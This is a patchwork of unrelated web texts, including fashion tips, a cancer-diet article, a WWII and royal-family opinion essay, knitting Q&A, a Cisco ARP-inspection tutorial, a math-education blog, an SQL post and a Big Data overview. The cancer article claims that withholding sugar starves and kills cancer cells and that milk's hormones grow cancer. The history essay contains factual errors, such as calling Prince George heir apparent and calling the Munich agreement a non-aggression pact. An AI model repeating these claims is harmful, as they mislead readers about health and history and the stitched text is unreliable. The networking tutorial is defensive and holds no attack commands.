.. I was thinking perhaps flared types of mini skirts will look best as tight slim ones will only make your top look bigger. Skirts / Pants / Bottoms * Wear skirts that hit just above the knees. Mid length skirts will flatter your slim legs. * Wear wide legged capris to flatter your slim ankles * Wear hip hugging jeans to emphasize your curves (especially your slim legs and hips) * Wear straight cut or slightly flared trousers and skirts * Wear patterned pencil skirts to add volume and width to your lower half * Wear light colored (especially nude) tights to focus attention on your legs * Avoid very fitted garments with well defined waistbands (they will draw attention to your mid section) * Avoid skinny leg pants unless wearing a long tunic over them * Avoid tight clothes and slim mini skirts because they will exaggerate the difference between your broad top and slim lower body * Avoid long skirts because they will draw negative attention to your midriff area
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Here's 10 food that can prevent cancer! It's time to eat them
The rising cases of cancer is a sign that there is something majorly wrong with our diets. Correct it right away with these cancer preventing foods
If you follow the right diet and a healthy lifestyle then your chances of getting a major ailment are few. In fact, just eating right does half the job. Experts suggest that if your diet is loaded with healthy options then you can even diminish your risk of cancer.
Eat these foods to fight cancer. Image Courtesy: Times of India
Although cancer prevention diets can differ from person to person, there are certain anti-cancer foods that everyone should eat. Dr Anjali Hooda, MBBS, MD (Internal, obesity, functional medicine, USA) and director at LiveNutrifit and Center for Obesity and Longevity, also believes that food is an important aspect in preventing cancers.
Your diet monitors your gut environment. And so foods that are alkaline, prebiotic or probiotic in nature will be more beneficial for preventing cancers. Sugar, simple starches, processed foods, packet foods are detrimental for our body. So it’s much better to have vegetables and fruits in their most natural form. This is beneficial in changing your gut microbiome.
Say no to sugar and yes to proteins to prevent cancer
Cancer cells love sugar, and when you starve them by not eating sugar they are killed naturally by the body’s own defence mechanism. Antioxidants from coloured vegetables and fruits that are low in sugar favour the immune system.
Proteins, which are important for the formation of antibodies and are called antigens, are essential when it comes to preventing cancer. Any foods that contain natural growth hormones like milk are again setting up your body to grow cancer cells.
Our body harbours some basic cancer cells, and how you modify your diet and lifestyle will decide whether those cancer cells will grow or not. The toxins from the environment like food or air or even stress can cause a nidus of cancer cells.
“Stress eating or having any behavioural overeating habits contribute to the intake of toxins from food. We sometimes end up eating in a stressful situation not realising the source of the food, which may be higher in sugar, can cause toxic damage to our cells. No matter how many antioxidants we use, they will never be able to counter the effects of overconsumption,” says Dr Hooda.
Foods rich in good fats make for great cancer preventing foods. They are crucial for the prevention of cancer as they don’t spike insulin and work on the cell membrane as a protective lipid layer. On the other hand, fried foods are extremely oxidant in nature and do contribute to early cell death.
Here is a list of 10 anti-cancer foods that can be beneficial for cancer prevention
So, ladies, it’s never too late to reshape your lifestyle. Start with these cancer preventing foods today and thank us later.
Gabriel Hernández
23. Pharma Student and Kitchen Lover. Trying to bring the best of pop and indian culture to everyone.+ info
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Everyday use alice walker | History homework help
1. Please read the Alice Walker short story “Everyday Use” p. 1568-73.
2. Listen to the analysis of the story by Codex Cantina on YouTube:https://youtu.be/JtzW3Qx6Ajk
3. Write a 1/2 to 1 page analysis of your own, that includes a comparison of the two sisters, and your interpretation of who should get the quilt.
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Home » News » We Shall Never Surrender
We Shall Never Surrender
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On June 4, 1940, Winston Churchill gave the greatest speech of the 20th Century, his ‘darkest hour’ speech which girded the British people for the travails that were to come to the ancient nation. Hitler had already invaded Poland and accordingly, but not expected by all, the British government had declared war on Nazi Germany but this ‘phony war’ as it was described was made very real after the British Expeditionary Force was stranded on a beachhead in Dunkirk after Germany invaded and defeated France, but miraculously the British Army evacuated as Churchill exclaimed, these hard and heavy tidings revealed that wars were not won by evacuation, this feat of escape after a lost battle, but he went on to declare exactly how the British people would go on to win the war: “We shall fight on the beaches…” and asserted:
That speech wasn’t just directed at the British people but also at Adolph Hitler (and also to the world), but at the time Churchill was governing as part of a wobbly coalition, with Lord Halifax (Edward Wood, 1st Earl of Halifax) and other weak-kneed appeasers, but another appeaser was all done with appeasing Hitler by the name of Neville Chamberlain and although Prime Minister Chamberlain did give Hitler the free pass he desired to begin his inevitable march to war, fecklessly waving the ‘non-aggression’ pact for the rolling film cameras (that wasn’t worth the paper it was written on), Chamberlain later recognized and regretted his error and reversed course, none too soon, and went on to strongly support Winston Churchill for Prime Minister when Churchill needed Chamberlain’s vote of confidence the most.
The biggest appeasers in Britain both before and during WWII also happened to be US Ambassadors: Lord Halifax and Lord Lothian (Philip Kerr, 11th Marquess of Lothian), both of whom also came around as Chamberlain had and reversed the error of their ways, but it was the British Royal Family which proved the be the most frustrating of appeasers to Hitler’s aggression, after all they were Germans themselves, descended from the House of Hanover (the family name Saxe-Coburg and Gotha, hastily changed to Windsor because of WWI), and it was the Royal Family which would provide a most significant impediment to keeping the small island nation a parliamentary democracy.
This year, on February 6th, Queen Elizabeth began a year-long celebration of 70 years as sovereign, yet in 1936, her grandfather King George V had died and his eldest son took over as King Edward VIII, just as Europe was in the midst of a sea-change of political realignment. His reign lasted less than a year (shortest in British history) after he famously abdicated the throne because he wanted to marry a twice-divorced American lady named Wallace Simpson, (ever met a lady named Wallace?) who was also a Nazi sympathizer, cuckolding a king out of his rightful throne. Eddy was succeeded by his younger brother, styled George VI, pegging Edward’s stunted reign at just 326 days.
Democracy was being challenged all over Europe in the ‘30s as Nazi Germany’s autocratic, economic ‘miracle’ seemed invincible compared to the bruised fruits of free election and Hitler’s policies appeared to be working out well for most Germans. Edward, the love-struck, deposed British king ended up visiting Germany on a ‘state’ visit after he was ousted, (even though he had promised to stay out of politics) he, along with his Nazi-saluting wife, traveled to Germany to grovel, prostrating themselves before Hitler (when he needed it the most). After this, with the obvious fear that Edward might actually side with Germany in the war, he was shipped off to the Bahamas with his new wife to serve out the war for the next five years as Governor. Kind of like if Trump became Speaker of the House. Ten years later, the German government had to admit that over four million of it’s citizens were eventually killed in the war they started, and of course over six million Jews were also killed by Nazi Germany in the Holocaust, so the lives of ten million people were sacrificed on German soil for the inhuman vanity of one sick man, in addition to over 70 million additional souls the world over, or about 3% of the world population.
However back in the ‘40s, Germany was advancing all across the entire Continent, as the secret First Washington Conference (code-name Arcadia) was convened, top British and American military leaders (including Winston Churchill, Franklin Roosevelt and their aides) met from December 22, 1941 through January 14, 1942, where it was agreed that the prosecution of the war against Japan would be postponed in order to permit the Allies to concentrate their entire force in a major offensive against the Nazis starting on D-Day. The only part of the conference that was revealed to the public was a Declaration by the United Nations committing the Allies to make no separate peace with the enemy and to employ full resources until victory. Operation Bolero was the code-name for the initial American military troop buildup in the UK in preparation for a cross-channel invasion plan (code-named Operation Roundup), however in November 1942, Dwight Eisenhower, then only a lieutenant general, told Churchill that no major operation in Europe could be carried out before 1944. Eisenhower’s diplomatic and organizational skills were brought before senior civil and military leaders for the first time in the US and Europe, preceding his rise to Supreme Allied Commander for the eventual Allied invasion of France.
Operation Roundup, Operation Sledgehammer and Operation Roundhammer, all pressed for by the US military, but rejected by the British government and Eisenhower (who concluded that a landing in France before 1945 was premature and impractical) was therefore never carried out and instead, the British-led invasion of North Africa took place in November, 1942 under the code-name Operation Torch. The British then incorporated their European invasion plan into Operation Overlord, a 1,200-plane airborne assault before an amphibious beach landing involving more than 5,000 ships and 160,000 troops would cross the English Channel on June 6 and more than two million Allied troops were deployed in France by the end of the summer, 1944. Overlord ended on August 30 with the retreat of the last German military unit across the Seine. Operation Dragoon was originally to serve as the the ‘Anvil’ for Operation Sledgehammer, Dragoon was originally timed for D-Day, but the plan was delayed until August 15; Sledgehammer became Overlord and Anvil became Dragoon, another highly successful, refashioned operation which removed the entire German military from French soil in under a month, preserving D-Day as a total victory.
All through it, the King of England thought that Hitler was a fairly reasonable dude who could be dealt with, so spare the talk of Neville Chamberlain’s weakness if you’re not also willing to discuss the British Royal Family’s implicit support of Hitler before the war; the last King’s brother, Prince George (Duke of Kent), the heir apparent to the throne, was also a Nazi appeaser (and sex/drug addict) before his military plane mysteriously crashed into a big rock in Scotland and even though his niece, now the Queen of England, had flashed a Nazi salute when she was just a little princess, she was crowned Queen at 25 years of age on June 2, 1953, eventually becoming a stalwart of European democracy, (Irish Republican objection: noted) Queen Elizabeth II, 95, will become the longest-serving, most admired monarch in modern British history, celebrating her coronation and Platinum Jubilee in June, she reversed the family’s wrong-headed course on appeasement and is now ranked among the greatest Britons of all time, joining King Alfred, King Edward I, Queen Elizabeth I and Winston Churchill among the most-admired leaders in British history, who gave everything for the preservation of Old England. God save the Queen. On June 6, she will mark the longest reign in British history.
Carl Holt
January 30, 2022
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How do you determine Ws in knitting?
The right side of your knitting is the face of the fabric. This is the side that will be on the outside of a garment. The wrong side is the back side of the fabric, and will be on the inside of a garment. When the right side of the fabric is facing you, you’re working on a right side row.
What is Ws in a knitting pattern?
Knitting patterns use RS (right side) and WS (wrong side) to indicate what kind of stitch you should do for that row. For example, directions for a stockinette stitch might look something like this: Row 1 (RS): Knit.
Do you cast off on the right or wrong side?
I prefer Casting Off on the Right Side of my work, which is the front side. … You usually end a pattern after knitting the wrong side, or backside, so I’m going to start our Cast Off row on the right side.
What is wrong side and right side in knitting?
The easiest way to distinguish the sides is to look at a simple swatch in Stockinette Stitch. The flat side with all the V’s on it is the “right” side. The bumpy purl side is the “wrong” side. If your pattern calls for Reverse Stockinette, it’s the opposite.
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What’s a wrong side row in knitting?
When your pattern tells you to end on a wrong side row it means that the last row you knit is the one on the wrong side (hidden side) of your project. So if you are knitting in stocking stitch (stockinette) the last row you work is a purl row so that you are ready to knit the next row.
What does ending on a right side row mean?
YOUR ANSWER. When it says ending with …, row it means that the last row you knit before you continue with the next section of your knitting pattern will be that type of row. … If it says ending with a right side row, the last row you knit for that section of your pattern will be a right side row.
Is there a right side and wrong side to garter stitch?
For some knit swatches, like a garter stitch in all one color, the RIGHT and WRONG side is totally the same, since the same knit stitch is on both sides of the work. Once we change colors, the RIGHT and WRONG sides becomes obvious. You can think of the Wrong side as the Back Side.
How do you tell the front and back of a garter stitch?
You could rely on the position of the yarn at the cast-on to determine which side is your right side. But it is not reliable. Some says that “if your “end of skein” thread is on the right side of your sample when you are about to work a row, then you have in front of you the right side of your knitting”.
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When knitting in garter stitch which is wrong side?
In stockinette stitch the right side is easy to find, it’s the flat side, however in garter stitch, both sides look the same, so how do you tell right from wrong in garter stitch? The textbook response is that your first row, and therefore every odd numbered row is knitted with right side facing.
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edgecolor of pixels of imagesc
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Ankit Labh
Ankit Labh on 25 May 2020
I want the black edge color for the boundaries of each pixel drawn using imagesc. If I use pcolor, I get the black boundary around pixels. How can I get the same using 'imagesc'?
Answers (2)
Image Analyst
Image Analyst on 25 May 2020
Edited: Image Analyst on 25 May 2020
You can't. And if you use pcolor, you don't either. The tiles you see in pcolor are NOT pixels. Look closely. If you want to show a 4x4 array with pcolor, do you see a 4x4 array of pixels?
m = magic(4)
No, you don't. Those black lines goes through the MIDDLE of the pixels, they don't surround them. And to make it worse, you see a 3x3 array of tiles, not a 4x4 array. Very deceiving so that's why I never use pcolor().
Aaron T. Becker's Robot Swarm Lab
The function pixelgrid superimposes a grid of pixel edges on an image. The purpose is to easily visualize pixel extents when zooming in closely on an image. The grid is drawing using lines with contrasting colors so that it is visible regardless of the colors of the underlying pixels.
Cite As
Steve Eddins (2021). Pixel Grid (https://github.com/mathworks/pixelgrid), GitHub. Retrieved January 25, 2021.
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Dynamic ARP Inspection (DAI) Explanation & Configuration
Address Resolution Protocol (ARP) is a Layer 2 protocol that maps an IP address (Layer 3) to a MAC address (Layer 2). So, how does the traditional ARP work? In this example, PC1 wants to communicate with PC2. PC1 knows the destination IP address but not the destination MAC address.
Dynamic Arp Inspection
The ARP process will be:
1. First, PC1 checks its ARP table for PC2’s IP address (
2. If there is no cache, PC1 will send ARP Request, a broadcast message (source: AAAA.AAAA.AAAA, destination: FFFF.FFFF.FFFF) to all hosts on the same subnet.
3. All hosts will receive the ARP Request, but only PC2 will reply. PC2 will send an ARP Reply containing its own MAC address (EEEE.EEEE.EEEE).
4. PC1 receives the MAC address and saves it to its ARP Table.
Why Do We Need Dynamic ARP Inspection (DAI)?
Now, you may be asking why do we need Dynamic ARP Inspection (DAI)? In our first example, let’s say there’s a rogue peer, PC3, connected to one of the switch ports. PC3 can send a Gratuitous ARP or an ARP Reply that was not prompted by an ARP Request to update the ARP mapping of the other hosts on the network.
DAI Man-in-the-Middle Attack
Unknowingly, PC2 will update its ARP Cache and change the MAC address of PC1 to the MAC address of PC3. Same with the other direction, PC3 can spoof PC2 by lying about its MAC address. This attack or spoofing is also known as a Man-in-the-Middle attack.
PC2’s ARP Cache before spoofing:
C:\>arp -a
Internet Address Physical Address Type aaaa.aaaa.aaaa dynamic
PC2’s ARP Cache after spoofing:
C:\>arp -a
Internet Address Physical Address Type cccc.cccc.cccc dynamic
How Does DAI Prevent a Man-in-the-Middle Attack?
With Dynamic ARP Inspection (DAI), the switch compares incoming ARP and should match entries in:
1. DHCP Snooping Binding Table
2. Any configured ARP ACLs (can be used for hosts using static IP instead of DHCP)
If the ARP and any of the above did not match, the switch discards the ARP message.
Dynamic ARP Inspection (DAI) Configuration
For our Dynamic ARP Inspection (DAI) configuration example, the switch ports are all under VLAN 100.
DAI Configuration
To enable Dynamic ARP Inspection (DAI) on VLAN 100:
Switch#conf t
Switch(config)#ip arp inspection vlan 100
To enable Interface Trust State:
Switch(config)#interface FastEthernet 0/4
Switch(config-if)#ip dhcp snooping trust
To bypass the Dynamic ARP Inspection (DAI) process, you will usually configure the interface trust state towards network devices like switches, routers, and servers, under your administrative control.
We can also use the ‘show ip arp inspection’ command to verify the number of dropped ARP packets:
Switch#show ip arp inspection
In our example, if we want to configure PC1 with static IP instead of DHCP, we need to create a static entry using ARP ACL.
Switch(config)#arp access-list PC1-Static
Switch(config-arp-nacl)#permit ip host mac host aaaa.aaaa.aaaa
Switch(config)#ip arp inspection filter PC1-Static vlan 100
Now, the switch will check the ARP access-list first, and then when it doesn’t find a match, the switch will check the DHCP Snooping Binding Table.
An attacker could also generate a large number of ARP messages, causing CPU overutilization in the switch (Denial-of-Service or DoS). Take note that DAI does its work in the switch CPU rather than in the switch ASIC. We can prevent this type of attack by limiting DAI Message Rates.
Configuring ARP Inspection Message Rate Limits
An untrusted interface allows 15 ARP packets per second by default. Here’s how we can change it:
Switch(config)#interface FastEthernet 0/1
Switch(config-if)#ip arp inspection limit rate 8 burst interval 4
This interface now only allows 8 ARP packets every 4 seconds.
We can verify with the following command:
Switch#show ip arp inspection interfaces
Interface Trust State Rate (pps) Burst Interval
Fa0/1 Untrusted 8 4
Fa0/2 Untrusted 15 1
Fa0/3 Untrusted 15 1
Dynamic ARP Inspection is an excellent security feature, but before configuring DAI, we need to think and make a few decisions based on our goals, topology, and device roles. We do not want to block important traffic after enabling it.
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From apples to Zinfandel grapes, it's easy to pick a favourite among nature's sweet treats
Fruits are delicious and packed with vitamins, minerals, and fibre, making them the healthiest sweet treat around.
Experts advise 1.5-2 cups of fruit every day. And while most of us appreciate this food group, we don't always strike the mark.
Fruit reduces inflammation.
the molecules that combat free radicals and prevent inflammation—are generally found in the nutritional components that give fruits their hues.
fruit contains phytonutrients that help enhance the immune system, according to Dani Lebovitz, MS, RDN, author of A to Z With Fruits and Veggies.
Fruit wards off chronic disease.
There are several benefits of eating fruit, including a healthy digestive system and the prevention of constipation, according to Gabriel.
Fruit supports a healthy gut.
"Antioxidants in fruit can help postpone skin cell damage by decreasing inflammation and protecting against free radicals," says Lebovitz.
Fruit boosts skin health.
"Eating fruit every day might help you lose weight because most fruits are low in calories and high in fibre," adds Lebovitz. Consume low-sugar fruits like passion fruit and pomegranate.
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And just what are you after exactly, Dept.
Sorry to keep harping on the Education Trust “study” that finds middle school assignments lacking in the “conceptual understanding” department. In the Education Week article on the “study” (and no mention whatsoever in the study of what mathematicians, engineers and/or scientists were consulted in writing it) a commenter agreed wholeheartedly with it and said:
And I COMPLETELY agree that my experience in MS (and HS) classrooms focuses way too much on procedural over conceptual understanding.
Which caused me to wonder: Just what conceptual understanding do people think is missing from middle school math? It isn’t that students are just given problems to solve without explaining what the concepts are. Percentages are explained, as are decimals, as are fractions, and why one uses common denominators, and even the why and how of multiplication and division. Anyone who teachers middle schoolers or even high school students, knows that students gravitate to the “how” rather than the why.
SteveH who comments here frequently notes the following about procedural vs conceptual understanding:
Kids LOVE being good at facts and skills. They are easier to ensure and test, and that success drives engagement and much deeper learning and understanding. Skills come before understanding and engagement, not the other way around. The best musicians are the ones with the most individual private lesson skill instruction. They didn’t get those skills top-down by playing in band or orchestra only. The process is difficult and many don’t like it and drop out. This is true for any real life competitive learning – it is not natural.
Such disputes are usually settled in the same manner as the one about whether inquiry or direct instruction is better, and someone says “You need a ‘balanced’ approach” without defining what that balance is. In the argument about understanding vs procedure, the usual bromide is “they work in tandem”. This tells us absolutely nothing.
Sometimes the conceptual understanding is part and parcel to the procedure like place value and carrying and borrowing (two terms for which I make no apology for using). Other times it is not.
Having understanding is only part of the process. If I may talk about calculus for a moment. In upper level math courses in college, one learns the concepts behind why calculus works–including the delta-epsilon definitions of limits and continuity. A student may be able to recite the definition of continuity and tell you what needs to be done to show continuity at a specific point in a function.
(I.e., a function f from R to R is continuous at a point p ∈ R if given ε > 0 there exists δ > 0 such that if |p – x| < δ then |f (p) – f (x)| < ε.) But having a student prove that the function y = x^2 is continuous at the point x=2 involves a procedural knowledge of how to go about doing that. Just knowing the theorem is not enough.)
So I’d like to know. Do these people who claim they focus too much on procedure think that the majority of middle school students are just operating blindly as “math zombies” as some bloggers like to call it, without any knowledge of what it is they’re actually doing? Really?
5 thoughts on “And just what are you after exactly, Dept.
1. “…my experience in MS (and HS) classrooms focuses way too much on procedural over conceptual understanding.”
Conceptual, for the nth time is: “based on an abstract idea; a general notion.”
All proper traditional math classes introduce concepts on a unit basis and an overall math basis. That is not enough. Proper and full math understanding is achieved on a skill or unit level with mastery of p-sets, and full understanding of the bigger picture is obtained from the mastery of skills of problem solving – again, p-sets. This has to be done from the bottom – unit skills to the top – problem solving skills.
I did not properly understand algebra until part way through my Algebra 2 class. I think that is quite normal. It takes a lot of homework. I’m still working on my problem solving skills and understandings after 40+ years of programming complex math and engineering software.
When these people talk about problem solving and understanding, I NEVER hear them talk about knowing specific things like when and how to use explicit, implicit, and parametric forms of equations. I used to teach lectures on how to “see” all equations and factors. But there is no one (small) set of concepts or problems that creates a magic transference ability. It takes a lot of hard work, but the process is made easier by mastery and understanding of basic skills. Bottom-up, not top-down.
Their big lie is that mastery of basic unit skills is rote and that you can swap some of that time for more conceptual (?) work.
2. So, what is the problem, lack of “conceptual” understanding or problem solving ability/transference. Will more conceptual understanding fix transference? Is it a matter of just getting really good at Polya’s 4-step process that is so vague and general as to be worthless. In all of my engineering education, I never heard of Polya.
I would pay more attention if educators at least put forward any ideas that made mathematical sense. I don’t hear educators pushing the “Beast Academy”, AoPS, and WOOT. That’s what schools should offer as after-school programs while spending class time pushing and enforcing mastery of the basics. All twelve of the 2017 USAMO winners are WOOT alumni.
However, I’m not a big fan of timed math competitions, and that’s why they should be opt-in after school programs. In-class teaching should push and enforce basic (STEM-level) math skills and understanding. High schools do that in math (AMC prep is opt-in), but not K-6. The lower grades want to flip it around and do meaningless group in-class Polya-type problem solving. Pushing and mastery of the basics is now left up to parents and tutors.
3. I want to say more about problem solving and transference. Polya is worthless, so what problem solving skills are transferable? You can draw pictures, label variables, and write equations to look for m=n. Everybody does that, but still, it’s difficult. You can study governing equations and their variations. This is classic homework p-set work. However, does D=RT problems and variations easily transfer to work problems? Yes and no. Both are amount = rate * time sorts of things, but there are lots of odd variations. Look at AMC test problems. You could know a lot about logarithms, but the testers are really good at finding odd problem variations. I look at some of their questions and feel really stupid. Success on the AMC is not really about general transference, but very specific and detailed preparation of problem classes for a timed test. You don’t study general problem solving skills. You study in detail every past test question you can get your hands on. Only that reduces transference distance.
How about general problem solving transference? First, it’s not a timed test issue. The question is whether you can do the problem eventually. I’ve seen cases where the smart kids in a class take longer to figure out the trick or angle. Knowing and working with lots of governing equation variations is probably the best foundation. How about this problem?
You are sitting in a row boat in a big tank of water that has a scale showing the level of the water in the tank. You take out the anchor and drop it into the water. Does the level of water in the tank go up, down, or stay the same?
What general problem solving skills help with this if you don’t know the governing equation? Do you have to do a JIT (thanks Barry) discovery of Archimedes? There really is no such thing as general magical transference and problem solving outside of m=n, and that’s not a big help even with a LOT of p-set practice. If you figured out this problem quickly, does that mean that you will do the same for any other problem? I doubt it. Even Feynman used to study up on trick problems so that he could impress people when he pretended to figure them out off the top of his head. Colleagues called him a faker.
Feynman’s true understanding brilliance was based on not only on knowing many governing equations in physics, but making sure he had a real physical sense and connection of those equations to reality. However, even that ability has limited trasference. You have to develop that sense for every different governing equation. Feynman struggled a lot. I still struggle a lot with problem solving. Epiphanies of understanding come to me, but only after I struggle and work on problems for a long time. Then again, there is a huge gap of hard work and discovery between insight and any sort of final solution.
4. This is from my son’s old Glencoe Algebra 1 textbook on factoring differences of squares – Exercises. (page 451)
Section 1 – Basic skill problems like this – Factor or prime?
256g^4 – 1
Section 2 – Factor and solve
9y^2 = 64
Section 3-6 various word problem applications
Section 7 – Open Ended
“Create a binomial that is the difference of two squares. Then factor your binomial”
Section 8 – Challenge
Section 9 – Find the error
Section 10 – Reasoning – find the “flaw”
a = b
a^2 = ab
a^2 – b^2 = ab – b^2
a+b = b
a+a = a (remember that a=b)
2a = a
2 = 1
Section 11 – Writing in Math
Section 12 – Standardized Test Practice
Section 13 – Spiral REview questions
Section 14 – Reading Math
Learn to use a two-column proof for algebraic manipulation
So what’s the problem here? Is it just that teachers only assign the problems in the first two sections? Clearly, those are the most important sections and they are not dumb, rote, busy work just for speed. You have to understand the basic concepts and see the variations. However, there are many layers of understanding and nobody can fully understand the implications with just a few problem variations. That’s why it’s common for many to not really “understand” algebra until sometime during Algebra 2.
You can get good grades in math, but still feel like you are struggling. It’s not a “zombie” issue. It’s normal. You can get poor grades and not understand, but that’s another issue. If you get good grades and really don’t understand, then probably your grades are OK, but dropping. Some honors (proper math) classes say that you can only enter if your grade is 80+ or some such thing. Gaps and weaknesses in understanding will eventually cause you to fall off the cliff. Math is tough in high school and college. However, it’s NOT that in K-6, but too many kids struggle. It’s NOT an understanding issue.
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Sand and gravel aggregate resource management and conservation in Northern Ireland
J Knight, SG McCarron, AM McCabe, B Sutton
Research output: Contribution to journalArticlepeer-review
9 Citations (Scopus)
Glaciofluvial landforms in Northern Ireland are important resource bodies for sand and gravel aggregate, and also form integrated geomorphic assemblages which have scenic and aesthetic importance in the landscape. Determining the overall `value' of sand and gravel features in economic and landscape terms involves making assumptions about their geotechnical properties, future extraction rates, and quantifying otherwise poorly-defined aesthetic attributes. This paper deals mainly with landscape economic, scientific and aesthetic `values' and rates of resource depletion on different spatial scales. Based on remote sensing, field mapping and automation of the data set using a geographical information system (GIS), glaciofluvial sand and gravel is calculated to cover 534 km(2) +/- 10% in Northern Ireland (similar to 3.4% of land area). By assuming specific deposit thicknesses for each landform type, mappable sand and gravel reserves are calculated to range between 2400 and 14 675 million tonnes. Based on low growth, high growth and `business as usual' scenarios of future annual increases in extraction rate from 1996 AD onwards, these reserves are calculated to have a lifespan of 48-314 yr (median value 132 yr). Case studies of the Glarryford esker complex and the Lough Fea deltas complex illustrate the local landscape importance of sand and gravel features. These case studies show that defining, quantifying and evaluating landscape resources at a local-scale is a necessary part of aggregate resource management and conservation where the overall resource-base is diminishing. (C) 1999 Academic Press.
Original languageEnglish
Pages (from-to)195-207
JournalJournal of Environmental Management
Issue number3
Publication statusPublished - Jul 1999
Dive into the research topics of 'Sand and gravel aggregate resource management and conservation in Northern Ireland'. Together they form a unique fingerprint.
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These both command will only delete data of the specified table, they cannot remove the whole table data structure.
• TRUNCATE is a DDL (data definition language) command whereas DELETE is a DML (data manipulation language) command.
• We can’t execute a trigger in case of TRUNCATE whereas with DELETE command, we can execute a trigger.
• TRUNCATE is faster than DELETE, because when you use DELETE to delete the data, at that time it store the whole data in rollback space from where you can get the data back after deletion. In case of TRUNCATE, it will not store data in rollback space and will directly delete it. You can’t get the deleted data back when you use TRUNCATE.
• We can use any condition in WHERE clause using DELETE but you can’t do it with TRUNCATE.
• If table is referenced by any foreign key constraints then TRUNCATE will not work.
1. manub22 says:
Following statement does not hold correct: “In case of TRUNCATE, it will not store data in rollback space and will directly delete it. You can’t get the deleted data back when you use TRUNCATE.”
DELETE is Fully logged, where every deleted row is logged separately, thus DELETE takes time. TRUNCATE is also a logged operation, here only data pages are logged instead of rows, thus is faster.
If you talk about rollback, both can be rollbacked if provided in transaction. If no transaction, then both cannot be rollbacked, and you’ve to restore the database.
2. Hi Manoj,
Its very nice to hear from you, heartily welcome your comment, here is some corrections as ,
TRUNCATE TABLE deletes all of data in the table but like DELETE, it does not delete one-by-one records, its simply deallocate data page. The allocations are unhooked from the table and put onto a queue to be deallocated by a background task called the deferred-drop task. The deferred-drop task does the deallocations instead of them being done as part of the regular transaction so that no locks need to be acquired while deallocating entire extents
DELETE and TRUNCATE both can be rollbacked if its used in a Transaction and that session is not closed. If query is just executed from SSMS,in case of DELETE, may be rollbacked after session closed, but for TRUNCATE – If session is closed, it can not be rollbacked. If Database is in FULL Recovery mode, it can be rollback any changes done by DELETE using Log files using point of time restore of log files. TRUNCATE can not be rollback using log files in full recovery mode.
After a TRUNCATE, none pages are left for the table and if due to any reason , an error with the TRUNCATE happend, it cannot be repaired except if you have done a full backup before the TRUNCATE.
Another things, Truncate resets identity seed to the initial value.
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August 29, 2021
How Big Data Is Transforming Industries in Big Ways
Digital transformation has placed data at the center of organizations of all sizes, across all industries, in both public and private sectors. Several factors are at play, including the rise of the cloud, widespread Internet use, and most recently—the sensors, devices, and systems that make up the Internet of Things (IoT).
Organizations have access to high velocity, high-volume data from a wide range of sources, and as a result, Big Data analytics is now a requirement for operating in today’s competitive landscape. Still, it’s worth noting that harnessing the power of Big Data goes beyond investing in the right equipment. Organizations without a comprehensive data strategy will have a lot of trouble making sense of all that information—and risk falling behind their better-equipped competitors.
Here’s a look at how Big Data analytics applications are transforming all ends of the business world.
How Do Businesses Use Data Analytics?
Before we get into the weeds, let’s make one thing clear: the term “data analytics” has been used by many organizations, business intelligence (BI) vendors, and publications to describe a near-endless range of functions. Therefore, answering the question, “how are businesses using data analytics” is complicated.
How companies use data analytics in their business varies considerably by sector, business size, and access to resources. Business data analytics examples include financial services companies using data analytics to analyze spending patterns to detect and prevent fraud.
Human resource departments are leveraging data analytics to make better decisions about hiring processes and measure employee performance.
And online retailers use data analytics to examine web traffic, track email marketing performance, and run targeted ad campaigns. Additionally, data analytics is used to do good in the world—in ways that extend beyond unlocking commercial value from a company’s heterogeneous collection of data sources.
As an example, according to the World Economic Forum, data plays a critical role in fighting climate change. It helps researchers quantify emissions from oil and gas fields, pinpoint destructive processes in supply chains, and monitor leaks, pollutants, and anomalies at specific locations.
Competitive Advantage of Data Analytics
As the Harvard Business Review points out here, gathering information and applying it to improve products, processes, and services is nothing new. Paper surveys, sales reports, focus groups, and other studies have long been used to identify problems and inform business strategies.
The problem is, these strategies are too slow to provide meaningful insights, and the sample sizes are too small to ensure data accuracy. The amount of data generated by businesses in every sector is unprecedented, and it’s those organizations that can quickly extract usable, accurate insights from their data that stand to gain a competitive edge.
Here are a few areas where the use of data analytics delivers significant gains:
• Cost Reduction. Using Big Data technologies like Hadoop or cloud-based analytics allows organizations to store large amounts of data in a cost-effective, efficient manner. Additionally, real-time data analytics allows businesses to identify and fix inefficiencies, incorporate feedback, and streamline processes—enabling organizations to avoid waste, work faster, and even increase profits.
• Better Decision-Making. Big Data’s primary value comes from its ability to facilitate smarter, faster decision-making. Businesses can now analyze a ton of information in near real-time and make strategic decisions based on accurate data.
• Improved Products and Services. Big Data analytic applications also allow companies to come up with new and improved solutions and products. Again, this benefit comes from the ability to identify customer needs, gauge satisfaction, and incorporate changes as insights are uncovered. For brands, analytics allows them to avoid the guesswork associated with product development, and instead, make it easy to give customers exactly what they want.
Data alone doesn’t provide much as far as a competitive advantage is concerned. Companies need an effective system for gathering, storing, and analyzing data from several heterogeneous sources to extract and act on valuable insights.
Top Sectors Shaped By Big Data Analytics
Big Data has changed just about every industry, from professional sports and social media to manufacturing, finance, and education. Here’s a quick look at some of the key use cases for data analytics by sector:
The healthcare sector generates huge data sets with insights spread across multiple systems that house consumer data, patient information, clinical data, hospital capacities, community health, and more. This industry faces several challenges coming from all angles, including rising costs, crowded facilities, and increased pressure to maximize the number of patients seen each day.
The healthcare system has also long been plagued by failures in putting data to good use, as electronic data is often unavailable, inadequate, or unusable. Privacy laws like HIPAA and outdated systems have made it difficult to connect disparate data sources that can reveal useful patterns and trends in the medical field.
Today, things are turning around. Healthcare data analytics is used to improve patient outcomes and provide better experiences. For example, this web-based app uses Big Data to help prioritize cancer treatments during the COVID-19 outbreak. Predictive analytics are also used to enhance palliative care, speed up the diagnostic process with AI-enabled chest X-rays, and reduce cases of end-stage renal disease by using predictive modeling to weigh the risks and benefits of kidney disease treatments.
Data collected from loyalty programs, credit card transactions, website behavior, social media and email engagement, IP addresses, mobile applications, user log-ins, purchase histories, and more now give retailers a 360-degree view of the customer. That granular visibility allows online retailers to analyze consumer behavior to predict future spending and create personalized content and hand-picked recommendations for every customer (Amazon’s recommendation engine is probably the best-known example of this).
Big Data also gives retailers the ability to identify how customers research product information, how they feel about the brand, why they’re unsubscribing, and what compels someone to make a purchase.
While manufacturing is historically a “low-tech” sector, Big Data is shaking up the industry across the board. Big Data analytics in manufacturing allows organizations to gain end-to-end visibility into production processes, supply chain metrics, and environmental conditions that impact productivity and deliverables.
In the world of manufacturing, sensors are one of the most common data analytics application examples, and play a significant role in detecting potential maintenance issues, preventing downtime, and avoiding costly repairs. Pattern recognition and predictive analytics can be used to create a more efficient quality testing process, while data from production machinery and employee output can be linked and analyzed alongside financial information and customer satisfaction metrics.
Banking and Finance
